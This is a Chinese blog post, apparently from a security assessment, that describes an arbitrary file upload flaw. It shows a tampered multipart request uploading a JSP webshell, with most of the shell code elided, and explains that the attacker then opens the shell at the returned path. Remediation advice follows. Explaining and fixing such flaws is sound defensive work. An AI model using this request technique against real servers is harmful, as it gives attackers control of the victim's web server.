• 任意文件上传漏洞


    上传漏洞允许攻击者通过上传木马文件,直接获取web服务器的权限。图片上传模块存在任意文件上传漏洞,通过修改图片上传传输页面的数据包可以上传木马文件,并最终获取到服务器的权限,如下图所示。

     

     木马程序如下:

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="file"; filename="webshell.jsp"

    Content-Type: text/html

    <%@page pageEncoding="utf-8"%>

    <%@page import="java.io.*"%>

    <%@page import="java.util.*"%>

    <%@page import="java.util.regex.*"%>

    。。。。。。。。。此处代码省略。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

        bout.close();

        out.flush();

        ((Invoker) ins.get("bottom"))

        .invoke(request, response, session);

        ((Invoker) ins.get("after")).invoke(request, response, session);

        }

    %>

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="uploadPath"

    people

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="uploadFloderPath"

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="isRename"

    no

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="maxSize"

    2

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="allowedFile"

    ------WebKitFormBoundaryS5DF515w3dmuH4em--

    最后,找到文件上传的路径,此次文件上传成功后,响应数据包会返回文件上传的物理路径如下图,最后再远程访问该木马文件。

     

     

    任意文件上传漏洞整改建议:

    1、建议对上传文件做有效文件类型判断,网站前台后台均需进行判断,采用白名单控制的方法,开放只允许上传的文件类型,其中文件类型判断应对上传文件的后缀、文件头、图片类型的预览图等做检测来判断文件类型,同时注意重命名上传文件的文件名避免攻击者利用web服务器的缺陷构造畸形文件名实现攻击目的。

    2、服务器端读取文件的部分内容作判断,可防止攻击者伪装文件类型上传。

    3、权限方面,统一上传模块写入文件的位置并取消上传目录的程序运行权限。

    4、使用第三方web防火墙来加固整个网站系统。

  • 相关阅读:
    Jpeg文件格式详解
    Python数据分析与机器学习44-Python生成时间序列
    电销机器人的几个常见问题
    同步代码和异步代码
    Nvidia GPU 入门教程之 01 Ubuntu如何开启SSH,查看存储情况,查看A100 GPU显卡情况
    分布式编程工具Akka Streams、Kafka Streams和Spark Streaming大PK
    【Matplotlib绘制图像大全】(十二):嵌套饼图
    中英文说明书丨CalBioreagents艾美捷重组Ku-p70/p80蛋白
    python time模块 时间戳 与 结构化时间
    mysql查询最近7天 每天销售额 统计销售额
  • 原文地址:https://blog.csdn.net/gaomei2009/article/details/126502219